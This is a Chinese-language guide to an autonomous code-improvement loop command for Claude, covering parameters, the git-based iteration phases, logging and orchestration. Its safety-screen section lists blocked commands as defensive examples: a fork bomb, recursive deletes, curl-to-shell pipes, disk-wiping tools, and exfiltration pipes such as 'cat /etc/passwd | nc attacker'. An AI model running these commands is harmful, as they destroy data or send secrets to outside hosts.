Claude Autoresearch Skill 完整指南:Goal-Driven 自主迭代循环(Modify → Verify → Keep/Discard)协议详解
Claude Autoresearch Skill 完整指南:Goal-Driven 自主迭代循环(Modify → Verify → Keep/Discard)协议详解
导读
本文以开源仓库 autoresearch 中 .opencode/commands/autoresearch.md 的完整命令协议为骨架,系统讲解 Claude Autoresearch Skill 的核心引擎:/autoresearch 自主迭代循环。你将掌握该命令的完整参数语法(Goal / Scope / Metric / Verify / Guard / Iterations)、从基线建立、前置检查到 7 阶段迭代循环(Review → Modify → Commit → Verify → Guard → Decide → Log)的每一步协议细节,以及 --evals 中途检查点、--chain 链式交接和安全筛查(Safety Screen)的底层实现依据——所有关键结论均可在 scripts/orchestrate.sh、tests/test-orchestrator.sh 与 guide/autoresearch.md 中找到源码与测试佐证。
1. 命令本质:把 Claude 变成"永不停机的改进引擎"
/autoresearch 是 autoresearch 技能的核心命令。它执行一个自主的 modify → verify → keep/discard 循环,默认迭代 25 次(可通过 Iterations: N 或 Iterations: unlimited 覆盖)。你只需提供:
- Goal(目标):要改进什么;
- Scope(范围):Claude 可以修改的文件 glob;
- Metric + Verify(指标与验证):一个输出数字的 shell 命令,作为客观度量;
- Guard(护栏,可选):必须始终保持通过的安全命令。
之后 Claude 会自行挑选影响最大的改动、提交(commit)、测量结果,根据指标是否改善决定 keep(保留) 还是 discard(git revert 回滚),并反复迭代直到迭代数耗尽或目标达成。它还会把 git 历史当作"记忆":前几轮什么有效、什么失败,都会影响下一轮的选择。
在技能分派层面(见 .opencode/skills/autoresearch/SKILL.md),裸调用 /autoresearch 存在三种模式分派:
| 触发条件 | 模式 |
|---|---|
提供了 Metric: 或 Verify: |
Classic 经典模式 — 本文主讲的指标循环,行为不变 |
| 只有自由文本目标,无 metric/verify | Orchestrator 编排模式 — 自动分类目标、派生 Success predicate 并跨子命令循环 |
| 什么都没有 | Setup wizard 配置向导 — 交互式配置构建器 |
--classic 标志 |
强制 Classic 模式 |
--auto 标志 |
强制 Orchestrator 模式 |
每次调用都会打印横幅:[autoresearch] mode: classic | orchestrator | wizard。
2. 完整参数语法与配置字段
命令协议(来自 .opencode/commands/autoresearch.md)要求从 $ARGUMENTS 中提取以下参数:
| 参数 | 说明 | 默认值 |
|---|---|---|
Goal: |
要改进什么 | 必填 |
Scope: 或 --scope |
文件 glob 模式 | 推荐提供 |
Metric: |
跟踪的数字指标(务必注明方向) | 推荐提供 |
Direction: |
higher_is_better(默认)或 lower_is_better |
higher_is_better |
Verify: |
输出数字的 shell 命令 | 推荐提供 |
Guard: |
可选的安全命令,必须始终通过 | 无 |
Iterations: 或 --iterations |
有界模式下整数 N;"unlimited" 为无界 |
25 |
--evals |
启用中途检查点(mid-loop checkpoints) | 关 |
--evals-interval N |
覆盖检查点频率 | 自适应 |
--chain <targets> |
逗号分隔的下游命令,循环结束后按序交接 | 无 |
完整的用户侧写法(guide/autoresearch.md):
/autoresearch
Goal: <what you want to improve>
Scope: <file globs Claude can modify>
Metric: <what number to track> (<direction>)
Verify: <shell command whose output contains the metric>
Guard: <optional command that must always pass>
Iterations: <N | unlimited — default: 25>
2.1 配置字段速查表
| 字段 | 必填 | 说明 |
|---|---|---|
Goal |
是 | 纯语言目标,尽量包含具体数字 |
Scope |
推荐 | Claude 可以修改的文件 glob |
Metric |
推荐 | 被跟踪的数字,始终指明方向 |
Verify |
推荐 | stdout 包含指标值的 shell 命令 |
Guard |
可选 | 每次保留改动后必须 exit 0 |
Iterations |
可选 | 默认 25;过夜运行用 unlimited |
2.2 通用标志(Universal Flags)
| 标志 | 用途 |
|---|---|
Iterations: N |
恰好运行 N 轮(默认 25) |
Iterations: unlimited |
一直运行到目标达成或 Ctrl+C |
--evals |
循环结束时运行 evals 分析 |
--evals-interval N |
循环中每 N 轮运行一次 evals |
--chain <targets> |
循环结束后交接给下一个命令 |
在 SKILL.md 中,--<subcommand> 是所有子命令可用的 --chain <subcommand> 简写;--dry-run 让 Orchestrator 只打印派生配置与计划管线而不执行;--max-cycles N 是编排循环的硬上限(默认 50)。
3. 前置检查(Precondition Checks)与安全筛查(Safety Screen)
3.1 前置检查
在启动循环前,协议要求依次检查:
- 确认存在 git 仓库(
git rev-parse --git-dir); - 检查工作树是否干净(
git status --porcelain)——若 dirty 则警告; - 检查过期的锁文件(stale lock files)与 detached HEAD 状态;
- 若设置了 Guard,先运行 Guard 建立护栏基线(guard baseline);
- 任何关键问题 快速失败(fail fast),非关键问题仅警告。
3.2 Verify 安全筛查
在首次 dry-run 之前,必须对 Verify 命令进行安全筛查,拦截以下危险模式:
rm -rf类递归强制删除;- fork 炸弹(如
:(){ :|:& };:); curl|sh/wget|sh管道执行远程代码;- 内嵌凭据(AWS Key、PASSWORD=、私钥头);
- 出站写入(outbound writes)。
这项筛查在 scripts/orchestrate.sh 中以 screen-cmd 子命令落地实现(ok exit 0 / refuse exit 1),并由 tests/test-orchestrator.sh 的 40+ 条断言覆盖,包括针对绕过技巧的加固:
- rm 变体:
rm -Rf(大写)、rm -r -f(分离标志)、rm --recursive --force(长标志)、/bin/rm -rf、./rm(路径限定)全部拒绝;而普通单词confirm、perform不受影响; - curl/wget 管道:
curl|zsh、curl|python3 -、wget|/bin/bash、curl|xargs sh、curl|xargs bash全部拒绝;但合法的解析管道curl -s api/health | jq .ok、curl -s u | grep ok放行(枚举解释器而非拒绝所有管道,避免误伤合法 predicate); - 破坏性工具:
dd写原始块设备(含mmcblk、mdRAID、dm-设备映射器)、mkfs/mke2fs、find -delete、shred、truncate -s 0(--size=0也拦截)、chmod -R 000(chmod -R 0八进制短形式也拦截)全部拒绝; - 外传管道:
cat /etc/passwd | nc attacker、tar c /data | ncat host拒绝; - 数据库 URL 锚定允许列表:
postgres://user:pass@prod-db.example.com/myapp拒绝;localhost/127.0.0.1/ 无点容器主机名放行;外部主机仅当库名以_test或_ci后缀结尾(myapp_test、myapp_ci)放行——裸子串不通过(latest、precision均被拒绝)。
不会误伤的正常命令(测试明确断言仍为 ok):pytest -q、go build ./...、cargo test、find . -name '*.go'、chmod -R 755 build、truncate --size=4096 file.bin、dd if=in.img of=out.img bs=1M、echo log > /dev/null。
4. 建立基线(Iteration 0)
循环启动前必须建立可复现的基线:
- 运行
Verify命令并提取数字指标; - 以 iteration 0 记录进 TSV,格式为:
0\t{timestamp}\t{commit}\t{metric}\t0.0\t{guard}\t-\tbaseline\tinitial state - 创建输出目录:
autoresearch/loop-{YYMMDD}-{HHMM}/; - 写入 TSV 表头:
# metric_direction: {direction}\niteration\ttimestamp\tcommit\tmetric\tdelta\tguard\tguard-metric\tstatus\tdescription
协议还强调:先手动运行一遍 Verify 命令,确认你知道自己的基线数值。
5. 迭代循环:7 个阶段逐轮详解
对于每一轮迭代(1 到 max_iterations,或无界运行):
Phase 1:Review(把 git 历史当记忆)
- 读取结果 TSV 的最后 10–20 行;
- 运行
git log --oneline -20观察哪些改动成功/失败; - 若上一轮是
keep,运行git diff HEAD~1查看是什么改进了指标; - 总结:什么有效、什么失败、什么还没试过。
Phase 2:Modify(修改)
- 基于 Review 结果,做出一个聚焦的改动以改进指标;
- 改动必须是原子的(atomic)——单一逻辑工作单元,一句话可解释。
Phase 3:Commit(提交)
- 暂存并提交,提交信息带
experiment: {description}前缀; - 记录 commit SHA(保证回滚始终干净)。
Phase 4:Verify(验证)
- 运行
Verify命令并提取新的指标值; - 计算与上一轮的 delta;
- 指标朝正确方向改进 → 成为 keep 候选。
Phase 5:Guard(护栏,若配置)
- 运行
Guard命令;若失败 → 无论指标是否改进都回滚。
Phase 6:Decide(决策)
| 状态 | 触发条件 | 动作 |
|---|---|---|
keep |
指标改进且 guard 通过 | 保留提交 |
discard |
指标变差 | git revert HEAD --no-edit |
crash |
verify/guard 命令失败 | git revert HEAD --no-edit |
no-op |
本轮未做改动 | — |
hook-blocked |
git hook 阻止了提交 | — |
metric-error |
verify 输出不是合法数字 | git revert HEAD --no-edit |
Phase 7:Log(记录)
向 TSV 追加一行:iteration、timestamp、commit/-、metric、delta、guard status、guard-metric、status、description。
检查点与终止
- Eval Checkpoint:若启用
--evals,当current_iteration % interval == 0时运行检查点分析; - Bounded Check:有界模式下
current_iteration >= max_iterations→ 退出循环并打印摘要。
循环结束后的 Summary
打印:总迭代数、keep/discard 计数、起始指标 → 最终指标、改进百分比、效果最好的前 3 个改动。
用户在指南(guide/autoresearch.md)中还补充了 guard 失败时的恢复流程:指标改进但 guard 失败 → 立即回滚 → 阅读 guard 输出定位破坏点 → 重做优化(最多 2 次尝试)→ 若两次都失败则丢弃,进入下一轮。并给出常用 guard 模式:
Guard: npm test、Guard: tsc --noEmit && npm test、Guard: npx playwright test。
6. 实战示例:六类典型场景
以下示例完整来自 guide/autoresearch.md,展示了 Verify 命令如何用 grep/awk/jq 干净地提取单一数字:
提高测试覆盖率(有界)
/autoresearch
Iterations: 20
Goal: Increase test coverage from 72% to 90%
Scope: src/**/*.test.ts, src/**/*.ts
Metric: coverage % (higher is better)
Verify: npm test -- --coverage | grep "All files"
缩小打包体积(lower is better + guard)
/autoresearch
Iterations: 15
Goal: Reduce production bundle size below 200KB
Scope: src/**/*.tsx, src/**/*.ts
Metric: bundle size in KB (lower is better)
Verify: npm run build 2>&1 | grep "First Load JS"
Guard: npm test
消除 TypeScript any 类型
/autoresearch
Iterations: 25
Goal: Eliminate all TypeScript `any` types
Scope: src/**/*.ts
Metric: count of `any` occurrences (lower is better)
Verify: grep -r ":\s*any" src/ --include="*.ts" | wc -l
Guard: tsc --noEmit
API 性能(p95 延迟)
/autoresearch
Iterations: 20
Goal: API response time under 100ms (p95)
Scope: src/api/**/*.ts, src/services/**/*.ts
Metric: p95 response time in ms (lower is better)
Verify: npm run bench:api | grep "p95"
Guard: npm test
pytest 覆盖率(Python)
/autoresearch
Iterations: 30
Goal: Increase pytest coverage from 68% to 90%
Scope: tests/**/*.py, app/**/*.py
Metric: coverage % (higher is better)
Verify: pytest --cov=app --cov-report=term-missing 2>&1 | grep "TOTAL" | awk '{print $4}'
ML 训练损失(无界、过夜运行)
/autoresearch
Iterations: unlimited
Goal: Reduce validation loss (val_bpb)
Scope: train.py, model.py
Metric: val_bpb (lower is better)
Verify: uv run train.py --epochs 1 2>&1 | grep "val_bpb" | tail -1 | awk '{print $NF}'
携带 evals 检查点的 lint 修复(每 5 轮一次)
/autoresearch
Iterations: 25
Goal: Reduce lint errors to zero
Scope: src/**/*.ts
Metric: lint error count (lower is better)
Verify: npx eslint src/ 2>&1 | grep -c "error"
--evals
--evals-interval 5
指南还包含 Go 覆盖率(go test ./... -coverprofile=cover.out && go tool cover -func=cover.out | grep "total:" | awk '{print $3}')与 SEO 内容优化(node scripts/seo-score.js --file content/blog/target-post.md)等其他场景。
7. 有界 vs 无界(Bounded vs Unbounded)
有界(Iterations: N) |
无界(Iterations: unlimited) |
|
|---|---|---|
| 停止时机 | N 轮完成后 | 目标达成或 Ctrl+C |
| 适合场景 | Sprint、CI、固定预算 | 过夜运行 |
| CI 使用 | 可以 | 仅配合外部超时 |
| 默认值 | 25 | 不适用 |
经验准则:在陌生代码库上先跑 Iterations: 10 校准;结果不错再增加或移除上限。
8. 结果 TSV 与 evals 分析
8.1 TSV 格式
循环每次运行都会在 autoresearch/loop-{YYMMDD}-{HHMM}/ 目录留下 *-results.tsv:
iteration commit metric delta guard status description
0 a1b2c3d 85.2 0.0 - baseline initial state
1 b2c3d4e 87.1 +1.9 pass keep add auth edge case tests
2 - 86.5 -0.6 - discard refactor helpers
3 c3d4e5f 88.3 +1.2 pass keep add error handling tests
8.2 Eval Checkpoint 协议(--evals 标志)
- 自适应间隔:
floor(max_iterations / 3),最小为 1;无界模式固定为 10;可用--evals-interval N覆盖; - 每隔
interval轮暂停并分析当前结果 TSV; - 检查点格式(最多 5 行):
--- Eval Checkpoint (iterations {X}-{Y}) --- Metric: {start} → {end} ({delta}) | Kept: {n}/{total} | Trend: {up/flat/down} {one-line recommendation} --- - 若连续 3+ 个检查点检测到平台期(plateau)→ 建议提前停止;
- 循环结束时在输出目录生成完整的
evals-summary.md。
各子命令的自适应间隔示例(来自 .opencode/commands/autoresearch_evals.md):
| 子命令 | 默认迭代 | 间隔 | 检查点位置 |
|---|---|---|---|
| reason | 8 | 2 | 2, 4, 6, 8 |
| learn | 10 | 3 | 3, 6, 9, final |
| debug/security | 15 | 5 | 5, 10, 15 |
| fix/scenario | 20 | 6 | 6, 12, 18, final |
| core(autoresearch) | 25 | 8 | 8, 16, 24, final |
| unbounded | unlimited | 10 | 每 10 轮 |
8.3 evals 子命令
/autoresearch_evals(.opencode 下为 autoresearch_evals)是独立的结果分析器:动态检测 TSV 列(metric/delta/status/guard/severity/hypothesis/commit/dimension/candidate_label/error_type/classification/convergence_count 等),支持 --format text|json|md 三种输出,可生成 go/no-go 建议(如 RECOMMENDATION: STOP — plateau reached),并与 v2.0.x 旧版 TSV 向后兼容。
9. 链式交接(Chain Handoff)与编排模式
9.1 handoff.json
循环完成后,协议要求向输出目录写入 handoff.json:
version: "2.1.0"、source: "loop"、timestamp;status:COMPLETE|USER_INTERRUPT|BOUNDED|ERROR;results_tsv路径、findings[];config{goal, scope, metric, direction, verify}。
然后按 --chain 指定的顺序调用下游目标,并传播 --evals 标志。SKILL.md 中的安全不变量规定:所有结果记录到 autoresearch/{subcommand}-{YYMMDD}-{HHMM}/ 目录,chain 交接经由 handoff.json,evals 读取 *-results.tsv。
9.2 编排模式(Orchestrator)的源码实现
当目标不带 Metric:/Verify: 时,Orchestrator 将其分类为 9 种 Goal archetype(见 .opencode/skills/autoresearch/references/orchestrator-routing.md),并通过 scripts/orchestrate.sh 的确定性子命令驱动循环。从源码可以确认的核心机制:
classify:按优先级匹配关键词——harden(secure/harden/vuln)>fix-broken(fix/bug/broken)>ship-ready(ship/release/deploy)>what-to-build(what...build/next)>build-feature(build/implement/add)>optimize-metric(faster/smaller/reduce/optimize/coverage)>document>decide-design> 默认explore。测试证实"fix and add the broken feature"正确路由到fix-broken而非build-feature;next-hop:路由决策表按errors → regression → untested gaps → pending_verify → ship/DONE顺序裁决,全部通过字段读取(无 jq 依赖);units:剩余工作量标量 =failing_tests + open_hard_regressions + (metric_delta / metric_target),目标为 0 时返回unknown并 exit 2;plateau:读取单位历史,跳过穿插的unknown轮次,取最近 N=5 个计算值——末值仍 >= 首值即判定平台期(振荡但净零也算平台期);连续 5 个尾随 unknown 输出BLOCKED;verdict:CONVERGED(units==0)/PLATEAU/CEILING/BLOCKED四态判定,并输出ship=yes/no闸门;validate-state+screen-state-predicate:持久化的orchestrator-state.json在恢复时先做 schema 校验,再用screen-cmd重新筛查固定的 Success predicate——"持久化的命令永不信任",含转义引号(state-escaped-quote-predicate.json)与 Unicode 转义(state-unicode-danger-predicate.json)的投毒 predicate 均被测试证实拦截。
9.3 编排安全不变量(摘自 SKILL.md)
- 绝不自动批准 ship/deploy/push:Orchestrator 从不给
ship传--auto,部署永远需要显式用户批准; - 数据迁移走锚定 DB-URL 允许列表:复用 regression 的允许列表,主机必须是
localhost/127.0.0.1/容器主机名,或库名带_test/_ci后缀;裸子串匹配不合格; - 每个派生命令都过
screen-cmd:循环开始前以及从持久化状态文件恢复时的每条命令都要重新筛查; - predicate 固定而非重新派生:Round-0 将派生的 Success predicate 原样写入
orchestrator-state.json,每轮与每次恢复都复用同一字符串,保证"完成"跨运行可复现; - 独立验证(Independent Verify):高影响改动先以工作信号集置为
pending_verify,next-hop路由到verifyhop(持出集/对抗性检查)之后才允许DONE或 ship——防止改动"刷自己的指标"; - unknown-units 轮次不计入 Plateau 计数:重复 unknown 路由到
BLOCKED。
10. 使用建议与最佳实践
综合协议与指南的 Tips 部分:
- 写紧的
Verify命令:一个数字,用grep/awk/jq干净提取;启动前务必手动跑一遍确认基线; - 善用 Guard:当指标不是测试通过率时,多用
Guard: npm test防止回归; - 先小后大:陌生代码库先
Iterations: 10,效果良好再扩量;无界模式只用于过夜运行且 CI 中必须配外部超时; - 用 git 历史复盘:
git log能精确展示每次改动及原因,git revert <hash>可撤销任一改动; - 搭配其他子命令:不确定用什么指标用
plan;需求不清用probe;测试/类型/lint 全红先用fix;有 bug 找不到位置用debug;上线前安全审计用security;就绪后用ship(完整命令矩阵见 .opencode/skills/autoresearch/SKILL.md,如debug默认 15 轮、fix默认 20 轮、security默认 15 轮、scenario默认 20 轮)。
11. 相关资源导航
- 命令协议原文 — 本文核心骨架
- 用户指南 /autoresearch — 完整语法、全部示例与 Guard 模式
- 技能分派 SKILL.md — 安全不变量、子命令表、Orchestrator 流程
- 编排路由参考 — 9 种 Goal archetype 与路由决策表
- 编排实现脚本 — classify/next-hop/units/plateau/screen-cmd/verdict/validate-state 源码
- 编排测试套件 — 路由、安全筛查、收敛判定的 40+ 条测试断言
- evals 结果分析 与 evals 命令协议 — 检查点协议、列检测、go/no-go 建议
- 高级模式 与 链式组合 — 自定义验证脚本、MCP、CI/CD 集成